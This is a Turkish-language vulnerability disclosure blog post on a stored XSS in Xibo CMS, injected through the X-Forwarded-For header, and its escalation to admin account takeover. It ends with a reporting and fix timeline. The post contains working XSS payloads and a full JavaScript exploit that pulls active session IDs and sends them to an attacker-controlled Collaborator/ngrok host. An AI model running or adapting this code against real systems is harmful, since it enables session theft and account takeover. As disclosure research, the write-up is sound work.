TR | EN

CVE-2024-29022 & CVE-2024-29023

İlk CVE Keşif Yolculuğu
blog_content.exe
- ×

Merhaba, bugün sizlerle ilk CVE'mi (Common Vulnerabilities and Exposures) elde etme yolculuğumu, sürecin nasıl ilerlediğini, süreç boyunca neler düşündüğümü ve amacım sadece bulduğum ilk zafiyetin etkisini artırmakken nasıl iki CVE elde ettiğimi paylaşmak istiyorum.

Umarım bu sizin için bilgilendirici ve eğlenceli bir yazı olur.

Bir süredir, kendimi geliştirmek için CMS(Content Management System)'ler üzerinde zafiyet araştırması yapıyordum. Xibo CMS ise incelediğim CMS'ler içinde hem kapsamlı işlevselliği hem de araştırmacıların iletişim kurarak CVE elde edebildiği bir CMS olduğu için ilgimi çekmişti.

⚠️ UYARI ⚠️

Bu blog yalnızca eğitim amaçlı oluşturulmuştur.

Uygulamada zafiyet aramaya başlamadan önce, uygulamayı anlamaya ve özelliklerini listelemeye başladım. "Oturumlar" ve "Raporlama" gibi ekranları incelediğimde, uygulamanın kullanıcı IP adreslerini logladığını fark ettim. Bu yüzden, kullanıcı girişi yaparken isteğime "X-Forwarded-For:1.1.1.1" başlığını eklersem uygulamanın benim IP adresimi 1.1.1.1 olarak kabul edip etmeyeceğini kontrol etmek istedim.

Request with X-Forwarded-For header

İsteğin ardından IP adreslerinin kaydedildiği ekranlardan biri olan "Oturumlar" ekranına ilerlediğimde loglara iki farklı IP adresinin kaydedildiğini fark ettim. Biri benim IP adresimdi, diğeri ise X-Forwarded-For başlığı ile verdiğim değer olan 1.1.1.1 değeriydi.

Sessions showing both IP addresses

Bu noktada, X-Forwarded-For başlığını kullanarak XSS zafiyeti elde edip edemeyeceğimi test etmek istedim. Payload olarak <script>prompt(1)</script> kullandım ve oturumlar ekranına tekrar girdiğimde, 1 sayısını içeren bir pop-up görebildim.

XSS payload
XSS execution
XSS popup

CMS cookie'lere varsayılan olarak HTTPOnly özelliğini eklediği için, kullanıcı hesaplarını ele geçirmek ve bulgu seviyesini arttırmak için "document.cookie" fonksiyonunu kullanamıyordum.

HTTPOnly cookies

Bulgu seviyemi arttırmak istiyordum ve bunun için takip etmem gereken iki adım vardı:

1 => Admin kullanıcısının hesabında XSS saldırısını gerçekleştirecek düşük seviyeli bir kullanıcı oluşturmalıydım.

2 => Bulduğum XSS zafiyetinden yaralanarak en çok zarar verebilecek ve bulgu seviyemi arttıracak senaryoyu üretmem gerekiyordu.

Creating low privilege user
User creation form

İkinci aşama için yönetici hesabını ele geçirmenin yollarını düşünürken, sistemde endpointler, işlevler gibi farklı parçaları inceledim. Bu araştırma sırasında, "Oturumlar" ekranına ilerlediğimde, "/sessions" uç noktasına bir istek gönderildiğini fark ettim.

Sessions endpoint

HTTP yanıtında bulunan "isExpired" parametresinin değerinin 0 olması, aktif olan oturumları belirtiyordu, yani hedefim olan oturumlar bunlardı.

Active sessions
Session details

Kullanıcı hesaplarını ele geçirebilmek için öncelikle "/sessions" uç noktasına bir istek göndermeli, ardından HTTP yanıtını analiz ederek "isExpired" değeri 0 olan aktif oturumları ayırmalıydım. Bunun için aşağıdaki JavaScript kodunu oluşturdum ve c.js olarak kaydettim.

exploit.js
// "/sessions" uç noktasına istek gönderiliyor.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://XIBO DOMAIN/sessions', true); //Zafiyetli uygulamanın URL'i
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
    if (xhr.readyState === XMLHttpRequest.DONE) {
        if (xhr.status === 200) {
            // Aktif oturumları seçerek sessionId ve User-Agent değerlerini al
            var jsonResponse = JSON.parse(xhr.responseText);
            for (var i = 0; i < jsonResponse.data.length; i++) {
                var session = jsonResponse.data[i];
                if (session.isExpired === 0) {
                    var sessionId = session.sessionId;
                    var userAgent = session.userAgent;
                    
                    sendSessionIds(sessionId, userAgent);
                }
            }
        } else {
            console.error('Bir hata oluştu:', xhr.status);
        }
    }
};
xhr.send();

// Session bilgilerini Burp Collaborator'a gönder
function sendSessionIds(sessionId, userAgent) {
    var url = 'https://COLLABRATORDOMAIN/?sessionId=' + 
              encodeURIComponent(sessionId) + 
              '&userAgent=' + 
              encodeURIComponent(userAgent);
    
    fetch(url)
        .then(function(response) {
            if (response.ok) {
                console.log('Session ID ve User Agent başarıyla gönderildi.');
            } else {
                console.error('Gönderilirken bir hata oluştu:', response.status);
            }
        })
        .catch(function(error) {
            console.error('Bir hata oluştu:', error);
        });
}

Zararlı kod içeren dosyamı oluşturduğuma göre artık düşük seviyeli kullanıcım ile dosyamın sistem tarafından çalıştırılmasını sağlamalıydım. X-Forwarded-For başlığının değerinin en fazla 29 karakter kabul etmesi nedeniyle "a.ngrok.pro" domain adresini kullandım.

Ngrok setup

Dosyayı sistemin çağırmasını sağlamak için düşük yetkili kullanıcı ile HTTP isteğime X-Forwarded-For: <script src=//a.ngrok.pro/c.js> başlığını ve değerini ekledim.

XSS payload injection

Ardından uygulamaya admin kullanıcısı olarak giriş yaptım. Kaynağı incelediğimde c.js dosyasının kaynağa yerleştiğini gördüm:

Script injection success

Collaborator'ıma gelen isteklerle oturumu açık olan kullanıcıların sessionId ve User-Agent bilgisini elde ettim:

Collaborator requests
Session data
Account takeover

Aşağıdaki videoda başka bir kullanıcının hesabında gerçekleştirdiğim isteği görebilirsiniz:

Timeline

16 Mart 2024: Zafiyeti raporladım
17 Mart 2024: Xibo CMS raporumu kabul etti
18 Mart 2024: Fix yayınlandı ve CVE numaraları atandı

Şimdilik hepsi bu kadar. Umarım beğenmiş ve faydalı bulmuşsunuzdur. Hoşça kalın, diğer yazılarımda görüşmek üzere.